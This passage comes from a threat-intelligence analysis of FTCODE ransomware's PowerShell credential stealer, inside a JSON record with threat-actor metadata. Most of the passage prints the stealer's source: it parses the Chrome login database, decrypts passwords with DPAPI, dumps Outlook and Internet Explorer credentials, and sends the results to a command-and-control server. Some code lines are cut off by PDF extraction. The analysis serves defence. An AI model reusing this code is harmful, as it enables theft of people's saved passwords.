($Offset + 4)]) $VarintSize\r\n $Offset += $VarintSize.Value\r\n $RowID = ParseVarint ($Cell[$Offset .. ($Offset + 4)]) $VarintSize\r\n $Offset += $VarintSize.Value\r\n If (($Offset + $Payload.Length) -le $Cell.Length){ ParsePayloadSQLite $Cell[$Offset .. ($Offset +\r\n }\r\n catch{ SendStringToC2 \"crederror=ERR:ParseCellSQLite: $($_.Exception.Message)\";}\r\n}\r\nFunction ParsePayloadSQLite($Payload)\r\n{\r\n try\r\n {\r\n If ($Payload.Length -eq 0) { Return }\r\n [ref]$VarintSize = 0;\r\n $HeaderLength = ParseVarint $Payload[0 .. 8] $VarintSize\r\n $Offset = $VarintSize.Value;\r\n $FieldSeq = @()\r\n For ($y = $Offset; $y -lt $HeaderLength; $y++)\r\n {\r\n $Serial = ParseVarint $Payload[$y .. ($y + 8)] $VarintSize\r\n $y += $VarintSize.Value - 1\r\nhttps://github.com/StrangerealIntel/CyberThreatIntel/blob/master/Additional%20Analysis/Unknown/2020-06-22/Analysis.md\r\nPage 16 of 26\n\nSwitch ($Serial)\r\n {\r\n {$_ -lt 0xA} { $Len = $SerialMap[$Serial]; break } # Segment Mapping\r\n {$_ -gt 0xB} { # Decode Field\r\n If ($Serial % 2 -eq 0) { $Len = (($Serial - 0xC) / 2) }\r\n Else { $Len = (($Serial - 0xD) / 2) }\r\n }\r\n }\r\n $FieldSeq += $Len;\r\n }\r\n $Offset = $HeaderLength;\r\n For ($f = 0; $f -lt $FieldSeq.Length; $f++)\r\n {\r\n $Str = $Encoding.GetString($Payload[$Offset .. ($Offset + $FieldSeq[$f] - 1)])\r\n $isBlack = 0\r\n #Switch option ? -\u003e value : 0 -\u003e url, 3 -\u003e username, 5 -\u003e pwd to decode\r\n If ($f -eq 0) { $url = $Str }\r\n ElseIf ($f -eq 3) { $user = $Str }\r\n ElseIf ($f -eq 5) { $pwd = DecodePasswordChrome($Payload[$Offset .. ($Offset + $FieldSeq[$f] -\r\n $Offset += $FieldSeq[$f]\r\n }\r\n if(-Not($user -like '^\\u0001*') -and -Not($user -like '^\\u0000')) # Mapping different on Chrome,\r\n {\r\n If ($user.Length -gt 0 -or $pwd.Length -gt 0) #Add collected info as chrome cred\r\n {\r\n $url = ([System.Uri]$url).Host\r\n if($global:chromeInfo[$url] -eq $null) { $global:chromeInfo[$url] = @()}\r\n $global:chromeInfo[$url] += @{[string]$user = [string]$pwd}\r\n }\r\n }\r\n }\r\n catch { SendStringToC2 \"crederror=ERR:ParsePayloadSQLite: $($_.Exception.Message)\"; }\r\n}\r\nThe next section of code defines the function for decode the passwords from Chrome browser. Like for Mozilla, this checks the presence of the profile but can't\r\ncheck more for getting debug informations. We can note that the encoding code is for the Latin languages victims ( ISO-8859-1 -\u003e Western Europe). The\r\ncomparative method is different too, instead of parse each address of the cells, on Chrome, this structure is defined and can be parsed by the specific location on\r\nthe stream. Once this done, this parse the data with the dll like Mozilla for getting the data and push on the list of dumped chrome credentials.\r\nFunction DecodePasswordChrome($Password)\r\n{\r\n try\r\n {\r\n $P = $Encoding.GetBytes($Password)\r\n try\r\n {\r\n $Decrypt = [System.Security.Cryptography.ProtectedData]::Unprotect($Password,$null,[System.Secu\r\nhttps://github.com/StrangerealIntel/CyberThreatIntel/blob/master/Additional%20Analysis/Unknown/2020-06-22/Analysis.md\r\nPage 17 of 26\n\nReturn [System.Text.Encoding]::Default.GetString($Decrypt);\r\n }\r\n Catch { Return \"\" }\r\n }\r\n catch { SendStringToC2 \"crederror=ERR:DecodePasswordChrome: $($_.Exception.Message)\";}\r\n}\r\nfunction chrome_dump()\r\n{\r\n try\r\n {\r\n $global:chromeInfo = @{};\r\n $global:chromeError = \"SUCCESS\"\r\n $dbFilePath = \"$($Env:USERPROFILE)\\AppData\\Local\\Google\\Chrome\\User Data\\*\\Login Data\"\r\n $dbFiles = $(Get-ChildItem $dbFilePath).FullName;\r\n if($dbFiles.Count -le 0 -and $dbFiles.Length -le 0) { $global:chromeError = \"NO PROFILES\"; }\r\n foreach($dbFile in $dbFiles)\r\n {\r\n if($dbFile -ne $null)\r\n {\r\n if(([System.IO.File]::Exists($dbFile)))\r\n {\r\n $Stream = New-Object IO.FileStream -ArgumentList \"$dbFile\", 'Open', 'Read', 'ReadWrit\r\n Add-Type -AssemblyName System.Security\r\n $Encoding = [System.Text.Encoding]::GetEncoding(28591) # -\u003e iso-8859-1 -\u003e Western Eu\r\n $StreamReader = New-Object IO.StreamReader -ArgumentList $Stream, $Encoding\r\n $BinaryText = $StreamReader.ReadToEnd()\r\n $StreamReader.Close()\r\n $Stream.Close()\r\n $SerialMap = @{0=0; 1=1; 2=2; 3=3; 4=4; 5=5; 6=6; 7=8; 8=0; 9=0}\r\n If ((Compare-Object $BinaryText[0x0 .. 0x5] @('S', 'Q', 'L', 'i', 't', 'e')) -eq $nul\r\n {\r\n $NumPages = __ToInt($BinaryText[0x1C .. 0x1F])\r\n $PageSize = __ToInt($BinaryText[0x10 .. 0x11])\r\n for($x = 0x2; $x -lt $NumPages; $x++)\r\n {\r\n $PageStart = ($x * $PageSize);\r\n ParseSQLite $BinaryText[$PageStart .. ($PageStart + $PageSize - 1)] # Parse t\r\n }\r\n }\r\n}\r\n }\r\n }\r\n return @{\"logs\" = \"$global:log\"; \"error\" = $global:chromeError; \"info\" = $global:chromeInfo}\r\n }\r\nhttps://github.com/StrangerealIntel/CyberThreatIntel/blob/master/Additional%20Analysis/Unknown/2020-06-22/Analysis.md\r\nPage 18 of 26\n\ncatch { SendStringToC2 \"crederror=ERR:chrome_dump: $($_.Exception.Message)\";}\r\n}\r\nThe next functionalities are for dumping the credential from the differents versions of Outlook, this check for the IMAP, SMTP and POP3 credentials and\r\nconfiguration.\r\nfunction ol_dump()\r\n{\r\n try\r\n {\r\n $wms = \"HKCU:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\*\r\n $office = \"HKCU:\\Software\\Microsoft\\Office\\1[56].0\\Outlook\\Profiles\\*\\9375CFF0413111d3B88A00104B2\r\n $allPaths = @();\r\n $olInfo = @{};\r\n $olError = \"SUCCESS\";\r\n $tmpWMS = (Get-ChildItem $wms -ErrorAction SilentlyContinue)\r\n $tmpOffice = (Get-ChildItem $office -ErrorAction SilentlyContinue)\r\n if($tmpWMS -ne $null){ $allPaths += $tmpWMS; }\r\n if($tmpOffice -ne $null){ $allPaths += $tmpOffice; }\r\n Add-Type -AssemblyName System.Security\r\n foreach($path in $allPaths)\r\n {\r\n $imapServer = ($path | Get-ItemProperty -ErrorAction SilentlyContinue | select -ErrorAction Sil\r\n if($imapServer -ne $null)\r\n {\r\n $server = $imapServer\r\n try{ $server = [System.Text.Encoding]::DEFAULT.GetString($imapServer) -replace \"\\u0000\",\"\r\n $userBytes = ($path | Get-ItemProperty -ErrorAction SilentlyContinue | select -ErrorAction\r\n $user = \"\";\r\n if($userBytes -ne $null)\r\n {\r\n $user = $userBytes;\r\n try{ $user = [System.Text.Encoding]::DEFAULT.GetString($userBytes) -replace \"\\u0000\",\"\"\r\n }\r\n $encPwd = ($path | Get-ItemProperty -ErrorAction SilentlyContinue | select -ErrorAction Sil\r\n $pwd = \"\";\r\n try\r\n {\r\n $pwd = [System.Text.Encoding]::DEFAULT.GetString([System.Security.Cryptography.ProtectedD\r\n }\r\n catch{}\r\n try\r\n {\r\n $port = [System.Text.Encoding]::DEFAULT.GetString(($path | Get-ItemProperty -ErrorAction\r\n $server += \":\" + $port\r\n }\r\nhttps://github.com/StrangerealIntel/CyberThreatIntel/blob/master/Additional%20Analysis/Unknown/2020-06-22/Analysis.md\r\nPage 19 of 26\n\ncatch{}\r\n if($olInfo[$server] -eq $null) { $olInfo[$server] = @(); }\r\n $olInfo[$server] += @{ [string]$user = [string]$pwd }\r\n $smtpServer = ($path | Get-ItemProperty -ErrorAction SilentlyContinue | select -ErrorAction\r\n if($smtpServer -ne $null)\r\n {\r\n $server = $smtpServer;\r\n try{ $server = [System.Text.Encoding]::DEFAULT.GetString($smtpServer) -replace \"\\u0000\"\r\n if($olInfo[$server] -eq $null) { $olInfo[$server] = @(); }\r\n $olInfo[$server] += @{ [string]$user = [string]$pwd }\r\n }\r\n }\r\n $pop3Server = ($path | Get-ItemProperty -ErrorAction SilentlyContinue | select -ErrorAction Sil\r\n if($pop3Server -ne $null)\r\n {\r\n $server = $pop3Server\r\n try { $server = [System.Text.Encoding]::DEFAULT.GetString($pop3Server) -replace \"\\u0000\",\r\n $userBytes = ($path | Get-ItemProperty -ErrorAction SilentlyContinue | select -ErrorAction\r\n $user = \"\";\r\n if($userBytes -ne $null)\r\n {\r\n $user = $userBytes\r\n try{ $user = [System.Text.Encoding]::DEFAULT.GetString($userBytes) -replace \"\\u0000\",\"\"\r\n }\r\n $encPwd = ($path | Get-ItemProperty -ErrorAction SilentlyContinue | select -ErrorAction Sil\r\n $pwd = \"\";\r\n try\r\n {\r\n $pwd = [System.Text.Encoding]::DEFAULT.GetString([System.Security.Cryptography.ProtectedD\r\n }\r\n catch {}\r\n try\r\n {\r\n $port = [System.Text.Encoding]::DEFAULT.GetString(($path | Get-ItemProperty -ErrorAction\r\n $server += \":\" + $port\r\n }\r\n catch {}\r\n if($olInfo[$server] -eq $null){ $olInfo[$server] = @(); }\r\n $olInfo[$server] += @{ [string]$user = [string]$pwd }\r\n $smtpServer = ($path | Get-ItemProperty -ErrorAction SilentlyContinue | select -ErrorAction\r\n if($smtpServer -ne $null)\r\n {\r\n $server = $smtpServer;\r\n try { $server = [System.Text.Encoding]::DEFAULT.GetString($smtpServer) -replace \"\\u0000\r\n if($olInfo[$server] -eq $null){ $olInfo[$server] = @(); }\r\n $olInfo[$server] += @{ [string]$user = [string]$pwd }\r\n }\r\nhttps://github.com/StrangerealIntel/CyberThreatIntel/blob/master/Additional%20Analysis/Unknown/2020-06-22/Analysis.md\r\nPage 20 of 26\n\n}\r\n }\r\n return @{\"logs\" = \"$global:log\"; \"error\" = $olError; \"info\" = $olInfo}\r\n }\r\n catch { SendStringToC2 \"crederror=ERR:ol_dump: $($_.Exception.Message)\";}\r\n}\r\nAt the last, this check by the history files of Internet Explorer, the URL are extracted from their algorithm with their hash, this extracts the value from this result\r\nfor getting the credentials. The OS version is also checked, since windows 8, IE use vault systems for managing the security of theirs passwords. Like the rest, the\r\nthinking about the attacker's logic is always as strange that more logic to test the existence of the profiles after check the OS versions due to the way like the data\r\nis stored is different and this useless to test the second part.\r\nfunction ie_dump()\r\n{\r\n try\r\n {\r\n Add-Type -AssemblyName System.Security\r\n $ieInfo = @{};\r\n $ieError = \"SUCCESS\"\r\n $shell = New-Object -ComObject Shell.Application\r\n $hist = $shell.NameSpace(34) # Alternative method of checking Internet Explorer history -\u003e C:\\Use\r\n $folder = $hist.Self;\r\n if((@($hist.Items()).Count) -le 0) { $ieInfo = \"NO HISTORY\"; }\r\n $hist.Items() | foreach\r\n {\r\n if ($_.IsFolder)\r\n {\r\n $siteFolder = $_.GetFolder\r\n $siteFolder.Items() | foreach\r\n {\r\n $site = $_;\r\n if ($site.IsFolder)\r\n {\r\n $pageFolder = $site.GetFolder;\r\n $pageFolder.Items() | foreach\r\n {\r\n $url = $($pageFolder.GetDetailsOf($_,0)) ;\r\n $enc = [system.Text.Encoding]::UTF8;\r\n $entropy= $enc.GetBytes($url);\r\n $url16 = [System.Text.Encoding]::GetEncoding(\"UTF-16\").GetBytes($url + \"`0\");\r\n $sha1 = [System.Security.Cryptography.SHA1]::Create();\r\n $hash = $sha1.ComputeHash($url16);\r\n $hs = \"\"\r\n $cs = 0\r\n $urlHASH = $($hash | %{ $hs += $_.ToString(\"x2\") ; $cs += $_ }\r\n ($hs + ($cs % 256).ToString(\"x2\")).ToUpper())\r\n $fromREG = $null;\r\nhttps://github.com/StrangerealIntel/CyberThreatIntel/blob/master/Additional%20Analysis/Unknown/2020-06-22/Analysis.md\r\nPage 21 of 26\n\n$fromREG = $(Get-ItemProperty -PATH \"HKCU:\\Software\\Microsoft\\Internet Explorer\\Intelli\r\n if($fromREG -ne $null)\r\n {\r\n try{ $Decrypt = [System.Security.Cryptography.ProtectedData]::Unprotect($fromREG, $u\r\n catch { Continue }\r\n $dwSize = [bitconverter]::ToInt32($Decrypt[0..3], 0)\r\n $dwSecretInfoSize = [bitconverter]::ToInt32($Decrypt[4..7], 0)\r\n $dwSecretSize = [bitconverter]::ToInt32($Decrypt[8..11], 0)\r\n $dwTotalSecrets = [bitconverter]::ToInt32($Decrypt[20..23], 0) / 2\r\n if($fromREG.Length -ge ($dwSize + $dwSecretInfoSize +$dwSercertSize))\r\n {\r\n $url = ([System.Uri]$url).Host\r\n if($ieInfo[$url] -eq $null) { $ieInfo[$url] = @(); }\r\n $allCreds = ([System.Text.Encoding]::Default.GetString($Decrypt[($Decrypt.Length -\r\n for($i = 0; $i -lt $dwTotalSecrets; $i++ )\r\n {\r\n $user = $allCreds[$i]\r\n $pwd = $allCreds[$i + 1]\r\n $ieInfo[$url] += @{ [string]$user = [string]$pwd };\r\n }\r\n }\r\n }\r\n }\r\n }\r\n }\r\n }\r\n }\r\n if(([int32]([string][System.Environment]::OSVersion.Version.Major + [string][System.Environment]\r\n {\r\n [void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=Wind\r\n $vault = New-Object Windows.Security.Credentials.PasswordVault;\r\n $allCreds = $vault.RetrieveAll() | % { $_.RetrievePassword();$_ }\r\n foreach($cred in $allCreds)\r\n {\r\n $url = ([System.Uri]$cred.Resource).Host\r\n if($ieInfo[$url] -eq $null) { $ieInfo[$url] = @(); }\r\n $ieInfo[$url] += @{ [string]$cred.UserName = [string]$cred.Password }\r\n }\r\n }\r\n return @{\"logs\" = \"$global:log\"; \"error\" = $ieError; \"info\" = $ieInfo}\r\n }\r\n catch { SendStringToC2 \"crederror=ERR:ie_dump: $($_.Exception.Message)\";}\r\n}\r\nThe payload executes the functions and merges all the data. Why do a better code and easily maintainable by merging in one function with a switch condition for\r\nredirect the common part to the same code and avoid to do the same execution but this consistent with the fact this reinfect each 15 minutes with the logic of\r\nthought (not very stealthy but it works).\r\nhttps://github.com/StrangerealIntel/CyberThreatIntel/blob/master/Additional%20Analysis/Unknown/2020-06-22/Analysis.md\r\nPage 22 of 26\n\n# Execute password dump\r\n$ffInfo = ff_dump\r\n$ieInfo = ie_dump\r\n$olInfo = ol_dump\r\n$chromeInfo = chrome_dump\r\n$allInfo = @{\"logs\" = \"$global:log\"; \"error\" = \"SUCCESS\"; \"info\" = @{}}\r\n# Merge all the data\r\nmergeInfo $olInfo $allInfo\r\nmergeInfo $chromeInfo $allInfo\r\nmergeInfo $ieInfo $allInfo\r\nmergeInfo $ffInfo $allInfo\r\nThis time doesn't check the import of the class (works in .NET Framework 4.7.2 and later versions), this use it for perform the asynchronous communication\r\nlayer to serialize and deserialize the credentials dumped. But why not used the native json format with asynchronous call by job for be more compatible with\r\nmore OS versions and that the attacker has already used (so now how works except this a edited copy/paste of course) ?\r\n# Try/catch ?\r\nAdd-Type -AssemblyName System.Web.Extensions;\r\n$ps_js = new-object system.web.script.serialization.javascriptSerializer;\r\ntry\r\n{\r\n $sendInfo = @{};\r\n $allInfo[\"info\"].GetEnumerator() | %{\r\n $host1 = ([string]$_.key).toLower();\r\n if( $host1 -ne \"empty\" )\r\n {\r\n $sendInfo[ $host1 ] = @();\r\n foreach($value in $_.value )\r\n {\r\n $sendInfo[ $host1 ] += @{ [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes( [string\r\n }\r\n }\r\n }\r\n try{ SendStringToC2 (\"cred=\" + [uri]::EscapeDataString( $ps_js.Serialize($sendInfo) ) ); }catch{\r\n try{ SendStringToC2 (\"crederror=\" + $allInfo[\"error\"]); }catch{}\r\n}\r\ncatch{}\r\n} #End of \"stiller\" block\r\nThe main function is only for performing the recognization of the good format to use for the .NET class for exploit the dll. Most of this code is copied from the\r\nprevious described functions.\r\nfunction main()\r\n{\r\nhttps://github.com/StrangerealIntel/CyberThreatIntel/blob/master/Additional%20Analysis/Unknown/2020-06-22/Analysis.md\r\nPage 23 of 26\n\n# Copy/Paste skill\r\n try\r\n {\r\n $mPaths = @(\"$env:SystemDrive\\Program Files\\Mozilla Firefox\", \"$env:SystemDrive\\Program Files\\Moz\r\n $mozillaPath = $null\r\n foreach($path in $mPaths)\r\n {\r\n $nssPath = $(Join-Path ([string]$path) ([string]'nss3.dll'))\r\n if([System.IO.File]::Exists($nssPath))\r\n {\r\n $mozillaPath = $path;\r\n break;\r\n }\r\n }\r\n if($mozillaPath -eq $null) {$result = $stillerBlock.Invoke();}\r\n else\r\n {\r\n $dll = $(Join-Path ([string]$mozillaPath) ([string]'nss3.dll'))\r\n $is86dll = (Get-ExecutableType -Path $dll) -eq 32\r\n $is86 = [IntPtr]::Size -eq 4\r\n $result = $null;\r\n if($is86dll -and $is86) {$result = $stillerBlock.Invoke();}\r\n elseif(-Not($is86dll) -and -Not($is86)) {$result = $stillerBlock.Invoke();}\r\n elseif($is86dll -and -Not($is86))\r\n {\r\n Start-Job -RunAs32 -ScriptBlock $stillerBlock | Out-Null\r\n $result = (Get-Job | Wait-Job | Receive-Job)\r\n }\r\n elseif(-Not($is86dll) -and $is86) {$result = $stillerBlock.Invoke();}\r\n }\r\n return $result;\r\n }\r\n catch{ SendStringToC2 \"crederror=ERR:chooseArch: $($_.Exception.Message)\";}\r\n}\r\nSendStringToC2 \"crederror=start chooseArch\";\r\nmain\r\nUnfortunately, this group can let several hours or days before drops the ransomware payload and by the fact of detection and blockage of domains, it's\r\nimpossible to study the last part the ransomware ftcode but we can invalidate that it must reuse the IV defined in the \"db\" file (random GUID defines) to\r\nencrypt the data with AES so the secret must be in the ransomware code. That makes possible recovers the data if ransomware script and db file can be available\r\nor if this possible to have the GUID by interception of the frame (send GUID on C2) and can be edited for getting IV too.\r\nCompared to the analysis in early January 2020, the Threat Actor added the password dump for IE and Outlook at their script. The group have a low level on\r\nthe professional approach of a cybercriminal group and coding skills but the fact that a part of the encryption process are in memory and are flush make it more\r\ndeadly in this approach.\r\nCyber kill chain\r\nhttps://github.com/StrangerealIntel/CyberThreatIntel/blob/master/Additional%20Analysis/Unknown/2020-06-22/Analysis.md\r\nPage 24 of 26\n\nThis process graph represent the cyber kill chain used by the attacker.\r\nIndicators Of Compromise (IOC)\r\nThe IOC can be exported in JSON and CSV\r\nReferences MITRE ATT\u0026CK Matrix\r\nEnterprise tactics Technics used Ref URL\r\nExecution\r\nScheduled Task\r\nScripting\r\nPowerShell\r\nExecution through API\r\nExecution through Module Load\r\nhttps://attack.mitre.org/techniques/T1053\r\nhttps://attack.mitre.org/techniques/T1064\r\nhttps://attack.mitre.org/techniques/T1086\r\nhttps://attack.mitre.org/techniques/T1106\r\nhttps://attack.mitre.org/techniques/T1129\r\nPersistence Scheduled Task https://attack.mitre.org/techniques/T1053\r\nPrivilege Escalation Scheduled Task https://attack.mitre.org/techniques/T1053\r\nDefense Evasion\r\nScripting\r\nCompile After Delivery\r\nhttps://attack.mitre.org/techniques/T1064\r\nhttps://attack.mitre.org/techniques/T1500\r\nCredential Access Credentials in Files https://attack.mitre.org/techniques/T1081\r\nThis can be exported as JSON format Export in JSON\r\nLinks\r\nOriginal tweet:\r\nhttps://twitter.com/JAMESWT_MHT/status/1273902965041045507\r\nhttps://twitter.com/reecdeep/status/1273522967935356933\r\nLinks Anyrun:\r\nhttps://github.com/StrangerealIntel/CyberThreatIntel/blob/master/Additional%20Analysis/Unknown/2020-06-22/Analysis.md\r\nPage 25 of 26\n\nFtcode sample 4 (18 June 2020)\r\nFtcode sample 3 (18 June 2020)\r\nFtcode sample 2 (18 June 2020)\r\nFtcode sample 1 (15 June 2020)\r\nReferences:\r\nFTCODE Ransomware Now Steals Chrome, Firefox Credentials\r\nSource: https://github.com/StrangerealIntel/CyberThreatIntel/blob/master/Additional%20Analysis/Unknown/2020-06-22/Analysis.md\r\nhttps://github.com/StrangerealIntel/CyberThreatIntel/blob/master/Additional%20Analysis/Unknown/2020-06-22/Analysis.md\r\nPage 26 of 26",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://github.com/StrangerealIntel/CyberThreatIntel/blob/master/Additional%20Analysis/Unknown/2020-06-22/Analysis.md"
	],
	"report_names": [
		"Analysis.md"
	],
	"threat_actors": [
		{
			"id": "42a6a29d-6b98-4fd6-a742-a45a0306c7b0",
			"created_at": "2022-10-25T15:50:23.710403Z",
			"updated_at": "2026-04-10T02:00:05.281246Z",
			"deleted_at": null,
			"main_name": "Silence",
			"aliases": [
				"Whisper Spider"
			],
			"source_name": "MITRE:Silence",
			"tools": [
				"Winexe",
				"SDelete"
			],
			"source_id": "MITRE",
			"reports": null
		},
		{
			"id": "08c8f238-1df5-4e75-b4d8-276ebead502d",
			"created_at": "2023-01-06T13:46:39.344081Z",
			"updated_at": "2026-04-10T02:00:03.294222Z",
			"deleted_at": null,
			"main_name": "Copy-Paste",
			"aliases": [],
			"source_name": "MISPGALAXY:Copy-Paste",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "5e6b31a6-80e3-4e7d-8b0a-d94897ce9b59",
			"created_at": "2024-06-19T02:03:08.128175Z",
			"updated_at": "2026-04-10T02:00:03.636663Z",
			"deleted_at": null,
			"main_name": "GOLD TAHOE",
			"aliases": [
				"Cl0P Group Identity",
				"FIN11 ",
				"GRACEFUL SPIDER ",
				"SectorJ04 ",
				"Spandex Tempest ",
				"TA505 "
			],
			"source_name": "Secureworks:GOLD TAHOE",
			"tools": [
				"Clop",
				"Cobalt Strike",
				"FlawedAmmy",
				"Get2",
				"GraceWire",
				"Malichus",
				"SDBbot",
				"ServHelper",
				"TrueBot"
			],
			"source_id": "Secureworks",
			"reports": null
		},
		{
			"id": "75d4d6a9-b5d1-4087-a7a0-e4a9587c45f4",
			"created_at": "2022-10-25T15:50:23.5188Z",
			"updated_at": "2026-04-10T02:00:05.26565Z",
			"deleted_at": null,
			"main_name": "TA505",
			"aliases": [
				"TA505",
				"Hive0065",
				"Spandex Tempest",
				"CHIMBORAZO"
			],
			"source_name": "MITRE:TA505",
			"tools": [
				"AdFind",
				"Azorult",
				"FlawedAmmyy",
				"Mimikatz",
				"Dridex",
				"TrickBot",
				"Get2",
				"FlawedGrace",
				"Cobalt Strike",
				"ServHelper",
				"Amadey",
				"SDBbot",
				"PowerSploit"
			],
			"source_id": "MITRE",
			"reports": null
		},
		{
			"id": "eb5915d6-49a0-464d-9e4e-e1e2d3d31bc7",
			"created_at": "2025-03-29T02:05:20.764715Z",
			"updated_at": "2026-04-10T02:00:03.851829Z",
			"deleted_at": null,
			"main_name": "GOLD WYMAN",
			"aliases": [
				"Silence "
			],
			"source_name": "Secureworks:GOLD WYMAN",
			"tools": [
				"Silence"
			],
			"source_id": "Secureworks",
			"reports": null
		},
		{
			"id": "88e53203-891a-46f8-9ced-81d874a271c4",
			"created_at": "2022-10-25T16:07:24.191982Z",
			"updated_at": "2026-04-10T02:00:04.895327Z",
			"deleted_at": null,
			"main_name": "Silence",
			"aliases": [
				"ATK 86",
				"Contract Crew",
				"G0091",
				"TAG-CR8",
				"TEMP.TruthTeller",
				"Whisper Spider"
			],
			"source_name": "ETDA:Silence",
			"tools": [
				"EDA",
				"EmpireDNSAgent",
				"Farse",
				"Ivoke",
				"Kikothac",
				"LOLBAS",
				"LOLBins",
				"Living off the Land",
				"Meterpreter",
				"ProxyBot",
				"ReconModule",
				"Silence.Downloader",
				"TiniMet",
				"TinyMet",
				"TrueBot",
				"xfs-disp.exe"
			],
			"source_id": "ETDA",
			"reports": null
		},
		{
			"id": "99cb4e5b-8071-4f9e-aa1d-45bfbb6197e3",
			"created_at": "2023-01-06T13:46:38.860754Z",
			"updated_at": "2026-04-10T02:00:03.125179Z",
			"deleted_at": null,
			"main_name": "TA505",
			"aliases": [
				"SectorJ04",
				"SectorJ04 Group",
				"ATK103",
				"GRACEFUL SPIDER",
				"GOLD TAHOE",
				"Dudear",
				"G0092",
				"Hive0065",
				"CHIMBORAZO",
				"Spandex Tempest"
			],
			"source_name": "MISPGALAXY:TA505",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "e447d393-c259-46e2-9932-19be2ba67149",
			"created_at": "2022-10-25T16:07:24.28282Z",
			"updated_at": "2026-04-10T02:00:04.921616Z",
			"deleted_at": null,
			"main_name": "TA505",
			"aliases": [
				"ATK 103",
				"Chimborazo",
				"G0092",
				"Gold Evergreen",
				"Gold Tahoe",
				"Graceful Spider",
				"Hive0065",
				"Operation Tovar",
				"Operation Trident Breach",
				"SectorJ04",
				"Spandex Tempest",
				"TA505",
				"TEMP.Warlock"
			],
			"source_name": "ETDA:TA505",
			"tools": [
				"Amadey",
				"AmmyyRAT",
				"AndroMut",
				"Azer",
				"Bart",
				"Bugat v5",
				"CryptFile2",
				"CryptoLocker",
				"CryptoMix",
				"CryptoShield",
				"Dridex",
				"Dudear",
				"EmailStealer",
				"FRIENDSPEAK",
				"Fake Globe",
				"Fareit",
				"FlawedAmmyy",
				"FlawedGrace",
				"FlowerPippi",
				"GOZ",
				"GameOver Zeus",
				"GazGolder",
				"Gelup",
				"Get2",
				"GetandGo",
				"GlobeImposter",
				"Gorhax",
				"GraceWire",
				"Gussdoor",
				"Jaff",
				"Kasidet",
				"Kegotip",
				"Kneber",
				"LOLBAS",
				"LOLBins",
				"Living off the Land",
				"Locky",
				"MINEBRIDGE",
				"MINEBRIDGE RAT",
				"MirrorBlast",
				"Neutrino Bot",
				"Neutrino Exploit Kit",
				"P2P Zeus",
				"Peer-to-Peer Zeus",
				"Philadelphia",
				"Philadephia Ransom",
				"Pony Loader",
				"Rakhni",
				"ReflectiveGnome",
				"Remote Manipulator System",
				"RockLoader",
				"RuRAT",
				"SDBbot",
				"ServHelper",
				"Shifu",
				"Siplog",
				"TeslaGun",
				"TiniMet",
				"TinyMet",
				"Trojan.Zbot",
				"Wsnpoem",
				"Zbot",
				"Zeta",
				"ZeuS",
				"Zeus"
			],
			"source_id": "ETDA",
			"reports": null
		}
	],
	"ts_created_at": 1775434540,
	"ts_updated_at": 1775792196,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/9057d7f528b0f37a9a7f40c2fdb4c0d88ece7fc8.pdf",
		"text": "https://archive.orkl.eu/9057d7f528b0f37a9a7f40c2fdb4c0d88ece7fc8.txt",
		"img": "https://archive.orkl.eu/9057d7f528b0f37a9a7f40c2fdb4c0d88ece7fc8.jpg"
	}
}